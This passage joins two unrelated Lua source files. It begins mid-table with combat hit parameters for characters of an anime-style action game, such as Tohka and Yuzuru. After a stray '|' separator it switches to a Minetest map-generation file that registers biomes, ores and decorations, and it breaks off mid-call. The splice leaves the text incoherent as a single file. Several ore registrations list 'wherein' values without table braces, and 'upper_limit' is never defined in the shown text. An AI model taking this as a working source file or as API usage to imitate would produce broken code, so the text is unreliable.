freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Skill_3_1 = {
hitnum = 2,
hitmove = 1000,
damageratio = 800,
powerratio = 0,
soundhit = "GunCommonL_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Skill_3_3 = {
hitnum = 12,
hitmove = 1000,
damageratio = 800,
powerratio = 0,
soundhit = "GunCommonL_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Skill_3_2 = {
hitnum = 11,
hitmove = 15000,
damageratio = 800,
powerratio = 0,
soundhit = "ShockCommonM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Skill_4 = {
hitnum = 1,
hitmove = 0,
damageratio = 400,
powerratio = 0,
soundhit = "GunCommonM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Skill_4_1 = {
hitnum = 21,
hitmove = 45000,
damageratio = 2800,
powerratio = 0,
soundhit = "GunCommonH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Change_1 = {
hitnum = 2,
hitmove = 15000,
damageratio = 10000,
powerratio = 0,
soundhit = "ShockCommonM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
},
},
[10002] = {
id = 10002,
HitPointSet = {
Ice_Bullet_01 = {
hitnum = 1,
hitmove = 2000,
damageratio = 2000,
powerratio = 0,
soundhit = "MagicIceL_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Ice_Bullet_02 = {
hitnum = 2,
hitmove = 2000,
damageratio = 2000,
powerratio = 0,
soundhit = "MagicIceL_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Attack3_1 = {
hitnum = 1,
hitmove = 2000,
damageratio = 1000,
powerratio = 0,
soundhit = "MagicIceM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Attack4 = {
hitnum = 22,
hitmove = 10000,
damageratio = 3000,
powerratio = 0,
soundhit = "MagicIceH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Skill1 = {
hitnum = 21,
hitmove = 5000,
damageratio = 4000,
powerratio = 0,
soundhit = "MagicIceM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Skill1_1 = {
hitnum = 12,
hitmove = 20000,
damageratio = 6000,
powerratio = 0,
soundhit = "MagicIceH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Skill2 = {
hitnum = 23,
hitmove = 30000,
damageratio = 10000,
powerratio = 0,
soundhit = "MagicIceM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Skill3 = {
hitnum = 1,
hitmove = 2000,
damageratio = 1000,
powerratio = 0,
soundhit = "MagicIceL_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Skill3_1 = {
hitnum = 2,
hitmove = 1000,
damageratio = 700,
powerratio = 0,
soundhit = "MagicIceL_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Skill3_2 = {
hitnum = 21,
hitmove = 10000,
damageratio = 2000,
powerratio = 0,
soundhit = "MagicIceH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Skill4 = {
hitnum = 1,
hitmove = 2000,
damageratio = 715,
powerratio = 0,
soundhit = "MagicIceM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Change_1 = {
hitnum = 2,
hitmove = 15000,
damageratio = 10000,
powerratio = 0,
soundhit = "MagicIceM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
},
},
[10003] = {
id = 10003,
HitPointSet = {
Tohka_Attack_1 = {
hitnum = 1,
hitmove = 4000,
damageratio = 1500,
powerratio = 1500,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Attack_2 = {
hitnum = 2,
hitmove = 4000,
damageratio = 1500,
powerratio = 1500,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Attack_3 = {
hitnum = 11,
hitmove = 8000,
damageratio = 2000,
powerratio = 2000,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Attack_4 = {
hitnum = 2,
hitmove = 4000,
damageratio = 1000,
powerratio = 1000,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Attack_4_1 = {
hitnum = 11,
hitmove = 4000,
damageratio = 1000,
powerratio = 1000,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Attack_5 = {
hitnum = 21,
hitmove = 30000,
damageratio = 3000,
powerratio = 3000,
soundhit = "WeapenSwordH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_1 = {
hitnum = 11,
hitmove = 4000,
damageratio = 4000,
powerratio = 0,
soundhit = "WeapenSwordH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_1_1 = {
hitnum = 21,
hitmove = 20000,
damageratio = 6000,
powerratio = 0,
soundhit = "WeapenSwordH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_2 = {
hitnum = 2,
hitmove = 2500,
damageratio = 1250,
powerratio = 0,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_2_1 = {
hitnum = 2,
hitmove = 2500,
damageratio = 1250,
powerratio = 0,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_2_2 = {
hitnum = 2,
hitmove = 2500,
damageratio = 1250,
powerratio = 0,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_2_3 = {
hitnum = 2,
hitmove = 2500,
damageratio = 1250,
powerratio = 0,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_2_4 = {
hitnum = 2,
hitmove = 2500,
damageratio = 1250,
powerratio = 0,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_2_5 = {
hitnum = 2,
hitmove = 2500,
damageratio = 1250,
powerratio = 0,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_2_6 = {
hitnum = 21,
hitmove = 30000,
damageratio = 2500,
powerratio = 0,
soundhit = "WeapenSwordH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_3 = {
hitnum = 22,
hitmove = 40000,
damageratio = 10000,
powerratio = 0,
soundhit = "WeapenSwordH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4 = {
hitnum = 21,
hitmove = 15000,
damageratio = 100,
powerratio = 0,
soundhit = "ShockCommonM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_1 = {
hitnum = 21,
hitmove = 20000,
damageratio = 200,
powerratio = 0,
soundhit = "ShockCommonM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_2 = {
hitnum = 2,
hitmove = 2000,
damageratio = 300,
powerratio = 0,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_3 = {
hitnum = 1,
hitmove = 2000,
damageratio = 300,
powerratio = 0,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_4 = {
hitnum = 2,
hitmove = 2000,
damageratio = 300,
powerratio = 0,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_5 = {
hitnum = 1,
hitmove = 2000,
damageratio = 300,
powerratio = 0,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_6 = {
hitnum = 1,
hitmove = 2000,
damageratio = 300,
powerratio = 0,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_7 = {
hitnum = 2,
hitmove = 2000,
damageratio = 300,
powerratio = 0,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_8 = {
hitnum = 2,
hitmove = 2000,
damageratio = 300,
powerratio = 0,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_9 = {
hitnum = 11,
hitmove = 4000,
damageratio = 600,
powerratio = 0,
soundhit = "WeapenSwordH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_10 = {
hitnum = 12,
hitmove = 4000,
damageratio = 600,
powerratio = 0,
soundhit = "WeapenSwordH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_11 = {
hitnum = 11,
hitmove = 4000,
damageratio = 600,
powerratio = 0,
soundhit = "WeapenSwordH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_12 = {
hitnum = 1,
hitmove = 2000,
damageratio = 300,
powerratio = 0,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_13 = {
hitnum = 2,
hitmove = 2000,
damageratio = 300,
powerratio = 0,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_14 = {
hitnum = 1,
hitmove = 2000,
damageratio = 300,
powerratio = 0,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_15 = {
hitnum = 2,
hitmove = 2000,
damageratio = 300,
powerratio = 0,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_16 = {
hitnum = 11,
hitmove = 4000,
damageratio = 600,
powerratio = 0,
soundhit = "WeapenSwordH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_17 = {
hitnum = 12,
hitmove = 4000,
damageratio = 600,
powerratio = 0,
soundhit = "WeapenSwordH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_18 = {
hitnum = 11,
hitmove = 4000,
damageratio = 600,
powerratio = 0,
soundhit = "WeapenSwordH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_19 = {
hitnum = 1,
hitmove = 2500,
damageratio = 400,
powerratio = 0,
soundhit = "WeapenSwordL_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_20 = {
hitnum = 2,
hitmove = 2500,
damageratio = 400,
powerratio = 0,
soundhit = "WeapenSwordL_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_21 = {
hitnum = 1,
hitmove = 2500,
damageratio = 400,
powerratio = 0,
soundhit = "WeapenSwordL_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_22 = {
hitnum = 2,
hitmove = 2500,
damageratio = 400,
powerratio = 0,
soundhit = "WeapenSwordL_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_23 = {
hitnum = 1,
hitmove = 2500,
damageratio = 400,
powerratio = 0,
soundhit = "WeapenSwordL_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_24 = {
hitnum = 2,
hitmove = 2500,
damageratio = 400,
powerratio = 0,
soundhit = "WeapenSwordL_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Skill_4_25 = {
hitnum = 1,
hitmove = 2500,
damageratio = 400,
powerratio = 0,
soundhit = "WeapenSwordL_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Change_1 = {
hitnum = 1,
hitmove = 4000,
damageratio = 6000,
powerratio = 0,
soundhit = "ShockCommonM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Tohka_Change_2 = {
hitnum = 24,
hitmove = -40000,
damageratio = 4000,
powerratio = 0,
soundhit = "ShockCommonM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
},
},
[10004] = {
id = 10004,
HitPointSet = {
Yuzuru_Attack_1 = {
hitnum = 2,
hitmove = 4000,
damageratio = 500,
powerratio = 500,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_01",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Yuzuru_Attack_1_1 = {
hitnum = 6,
hitmove = 4000,
damageratio = 1000,
powerratio = 1000,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 1006,
},
Yuzuru_Attack_2 = {
hitnum = 1,
hitmove = 4000,
damageratio = 1500,
powerratio = 1500,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_01",
freezedelay = 2,
freezetarget = 3,
freezeself = 3,
hitcameraeffect = 1006,
},
Yuzuru_Attack_3 = {
hitnum = 12,
hitmove = 10000,
damageratio = 2000,
powerratio = 2000,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_01",
freezedelay = 0,
freezetarget = 1,
freezeself = 1,
hitcameraeffect = 0,
},
Yuzuru_Attack_4 = {
hitnum = 2,
hitmove = 2000,
damageratio = 300,
powerratio = 300,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Yuzuru_Attack_4_1 = {
hitnum = 2,
hitmove = 2000,
damageratio = 300,
powerratio = 300,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Yuzuru_Attack_4_2 = {
hitnum = 2,
hitmove = 2000,
damageratio = 300,
powerratio = 300,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Yuzuru_Attack_4_3 = {
hitnum = 2,
hitmove = 2000,
damageratio = 300,
powerratio = 300,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Yuzuru_Attack_4_4 = {
hitnum = 2,
hitmove = 2000,
damageratio = 300,
powerratio = 300,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Yuzuru_Attack_4_5 = {
hitnum = 12,
hitmove = 4000,
damageratio = 500,
powerratio = 500,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 3,
freezeself = 0,
hitcameraeffect = 0,
},
Yuzuru_Attack_5 = {
hitnum = 11,
hitmove = 4000,
damageratio = 500,
powerratio = 500,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_01",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Yuzuru_Attack_5_1 = {
hitnum = 21,
hitmove = 25000,
damageratio = 1700,
powerratio = 2500,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_01",
freezedelay = 0,
freezetarget = 2,
freezeself = 2,
hitcameraeffect = 0,
},
Yuzuru_Attack_5_2 = {
hitnum = 1,
hitmove = 25000,
damageratio = 200,
powerratio = 0,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 1200,
},
Yuzuru_Attack_5_3 = {
hitnum = 2,
hitmove = 25000,
damageratio = 200,
powerratio = 0,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 1200,
},
Yuzuru_Attack_5_4 = {
hitnum = 1,
hitmove = 25000,
damageratio = 200,
powerratio = 0,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 1200,
},
Yuzuru_Attack_5_5 = {
hitnum = 2,
hitmove = 25000,
damageratio = 200,
powerratio = 0,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 1200,
},
TrapDate_Yuzuru_Attack5 = {
hitnum = 2,
hitmove = 25000,
damageratio = 200,
powerratio = 0,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 1200,
},
Yuzuru_Skill_1 = {
hitnum = 23,
hitmove = 10000,
damageratio = 4000,
powerratio = 0,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Yuzuru_Skill_1_1 = {
hitnum = 24,
hitmove = -50000,
damageratio = 6000,
powerratio = 0,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
TrapDate_Yuzuru_Skill2 = {
hitnum = 21,
hitmove = 20000,
damageratio = 500,
powerratio = 0,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Summon_Yuzuru_Skill_2 = {
hitnum = 21,
hitmove = 20000,
damageratio = 500,
powerratio = 0,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Summon_Yuzuru_Skill_2_1 = {
hitnum = 21,
hitmove = 20000,
damageratio = 500,
powerratio = 0,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Summon_Yuzuru_Skill_2_2 = {
hitnum = 21,
hitmove = 20000,
damageratio = 500,
powerratio = 0,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Yuzuru_Skill_3 = {
hitnum = 1,
hitmove = 2000,
damageratio = 300,
powerratio = 0,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
Yuzuru_Skill_3_1 = {
hitnum = 21,
hitmove = 25000,
damageratio = 1500,
powerratio = 0,
soundhit = "0",
effecthit = "H_Yuzuru_01_hit_02",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
},
},
[10005] = {
id = 10005,
HitPointSet = {
attack_Attack1 = {
hitnum = 12,
hitmove = 4000,
damageratio = 600,
powerratio = 600,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Attack2 = {
hitnum = 11,
hitmove = 4000,
damageratio = 600,
powerratio = 600,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Attack3 = {
hitnum = 11,
hitmove = 4000,
damageratio = 600,
powerratio = 600,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Attack4 = {
hitnum = 12,
hitmove = 4000,
damageratio = 600,
powerratio = 600,
soundhit = "WeapenSwordM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Attack4_1 = {
hitnum = 21,
hitmove = 20000,
damageratio = 600,
powerratio = 600,
soundhit = "WeapenSwordH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
},
},
}
|
minetest.register_alias("mapgen_stone", "main:stone")
minetest.register_alias("mapgen_dirt", "main:dirt")
minetest.register_alias("mapgen_dirt_with_grass", "main:dirt_with_grass")
minetest.register_alias("mapgen_sand", "main:sand")
minetest.register_alias("mapgen_water_source", "main:water_source")
minetest.register_alias("mapgen_river_water_source", "main:muddywater_source")
minetest.register_alias("mapgen_lava_source", "main:lava_source")
--------
--Biomes
--------
--Grasslands
minetest.register_biome(
{
name = "Grasslands",
node_top = "main:dirt_with_grass",
node_filler = "main:dirt",
depth_top = 1,
depth_filler = 1,
y_min = 4,
y_max = 14,
heat_point = 60,
humidity_point = 30,
})
--Beach
minetest.register_biome(
{
name = "Beach",
node_top = "main:sand",
node_filler = "main:stone",
depth_top = 1,
depth_filler = 3,
y_min = 1,
y_max = 4,
heat_point = 70,
humidity_point = 55,
})
--Swamp
minetest.register_biome(
{
name = "Swamp",
node_top = "main:dirt_with_swamp_grass",
node_filler = "main:dirt",
depth_top = 1,
depth_filler = 3,
y_min = 1,
y_max = 4,
heat_point = 60,
humidity_point = 30,
})
--Sulfur Deposit
minetest.register_biome(
{
name = "Sulfur Deposit",
node_top = "main:stone",
node_filler = "main:gravel",
depth_top = 1,
depth_filler = 7,
y_min = 7,
y_max = 15,
heat_point = 80,
humidity_point = 90,
})
--Desert
minetest.register_biome(
{
name = "Desert",
node_top = "main:sand",
node_filler = "main:sand",
depth_top = 4,
depth_filler = 3,
y_min = 3,
y_max = 50,
heat_point = 100,
humidity_point = 8,
})
--Mountains
minetest.register_biome(
{
name = "Mountains",
node_top = "main:cobble",
node_filler = "main:stone",
depth_top = 1,
depth_filler = 1,
y_min = 15,
y_max = 150,
heat_point = 60,
humidity_point = 30,
})
--Mountain Peak (with snow)
minetest.register_biome(
{
name = "Mountain Peak",
node_top = "main:snow",
node_filler = "main:snow",
depth_top = 1,
depth_filler = 1,
y_min = 150,
y_max = upper_limit,
heat_point = 10,
humidity_point = 20,
})
--Wasteland
minetest.register_biome(
{
name = "Wasteland",
node_top = "main:dirt",
depth_top = 2,
node_water = "main:toxicwater_source",
y_min = 1,
y_max = 170,
heat_point = 80,
humidity_point = 10,
})
--Wasteland Ocean
minetest.register_biome(
{
name = "Wasteland Ocean",
node_top = "main:dirt",
depth_top = 3,
node_water = "main:toxicwater_source",
y_min = -31000,
y_max = 0,
heat_point = 80,
humidity_point = 30,
})
--Snow Plains
minetest.register_biome(
{
name = "Snow Plains",
node_top = "main:snow",
depth_top = 6,
node_filler = "main:dirt_frozen",
depth_filler = 8,
node_water = "main:ice_thick",
node_river_water = "main:ice_thin",
y_min = 1,
y_max = 50,
heat_point = 0,
humidity_point = 10,
})
--------------
--Scatter ores
--------------
minetest.register_ore({
ore_type = "scatter",
ore = "main:sulfur_ore",
wherein = "main:stone", "main:cobble",
biomes = {"Sulfur Deposit"},
clust_scarcity = 16 * 16 * 16,
clust_num_ores = 5,
clust_size = 3,
y_min = 7,
y_max = 15,
})
minetest.register_ore({
ore_type = "scatter",
ore = "main:iron_ore",
wherein = "main:stone", "main:cobble",
clust_scarcity = 8 * 8 * 8,
clust_num_ores = 6,
clust_size = 4,
y_min = -30000,
y_max = -90,
})
minetest.register_ore({
ore_type = "scatter",
ore = "main:iron_ore",
wherein = "main:stone", "main:cobble",
clust_scarcity = 15 * 15 * 15,
clust_num_ores = 2,
clust_size = 2,
y_min = 40,
y_max = upper_limit,
})
minetest.register_ore({
ore_type = "scatter",
ore = "main:coal_ore",
wherein = "main:stone", "main:cobble",
clust_scarcity = 7 * 7 * 7,
clust_num_ores = 5,
clust_size = 3,
y_min = -30000,
y_max = 0,
})
minetest.register_ore({
ore_type = "scatter",
ore = "main:coal_ore",
wherein = "main:stone", "main:cobble",
clust_scarcity = 20 * 20 * 20,
clust_num_ores = 4,
clust_size = 3,
y_min = -250,
y_max = upper_limit,
})
--Cinnabar
minetest.register_ore({
ore_type = "scatter",
ore = "main:cinnabar_ore",
wherein = "main:stone", "main:cobble",
clust_scarcity = 18 * 18 * 18,
clust_num_ores = 6,
clust_size = 4,
y_min = -30000,
y_max = -100,
})
--Salt
minetest.register_ore({
ore_type = "scatter",
ore = "main:salt_ore",
wherein = "main:stone", "main:cobble",
clust_scarcity = 10 * 10 * 10,
clust_num_ores = 2,
clust_size = 2,
y_min = -30000,
y_max = 30,
})
--Low Density Diamond
minetest.register_ore({
ore_type = "scatter",
ore = "main:diamond_ore_lowdens",
wherein = "main:stone",
clust_scarcity = 10 * 10 * 10,
clust_num_ores = 4,
clust_size = 6,
y_min = -30000,
y_max = -1000,
})
--Low Density Diamond
minetest.register_ore({
ore_type = "scatter",
ore = "main:diamond_ore_hidens",
wherein = "main:stone",
clust_scarcity = 16 * 16 * 16,
clust_num_ores = 8,
clust_size = 6,
y_min = -30000,
y_max = -1200,
})
-------------
--Decorations
-------------
--Small Rock
minetest.register_decoration(
{
deco_type = "schematic",
place_on = {"main:dirt_with_grass", "main:dirt", "main:sand", "main:dirt_with_swamp_grass"},
rotation = "random",
sidelen = 16,
fill_ratio = 0.004,
biomes = {"Grasslands", "Swamp", "Desert", "Wasteland"},
flags = "place_center_x, place_center_z",
schematic = minetest.get_modpath("main")
.. "/schematics/main_rock_cobble_small.mts",
y_min = -32000,
y_max = 32000,
})
--Oak Tree
minetest.register_decoration(
{
deco_type = "schematic",
place_on = {"main:dirt_with_grass"},
rotation = "random",
sidelen = 16,
fill_ratio = 0.004,
biomes = {"Grasslands"},
flags = "place_center_x, place_center_z",
schematic = minetest.get_modpath("main")
.. "/schematics/main_tree_oak.mts",
y_min = -32000,
y_max = 32000,
})
--Tall Oak Tree
minetest.register_decoration(
{
deco_type = "schematic",
place_on = {"main:dirt_with_grass"},
rotation = "random",
sidelen = 16,
fill_ratio = 0.004,
biomes = {"Grasslands", "Swamp"},
flags = "place_center_x, place_center_z",
schematic = minetest.get_modpath("main")
.. "/schematics/main_tree_oak_tall.mts",
y_min = -32000,
y_max = 32000,
})
--Dead Tall Oak Tree
minetest.register_decoration(
{
deco_type = "schematic",
place_on = {"main:dirt", "main:stone", "main:sand"},
rotation = "random",
sidelen = 16,
biomes = {"Wasteland", "Sulfur Deposit", "Desert"},
flags = "place_center_x, place_center_z",
schematic = minetest.get_modpath("main")
.. "/schematics/main_tree_oak_tall_dead.mts",
y_min = -32000,
y_max = 32000,
noise_params = {
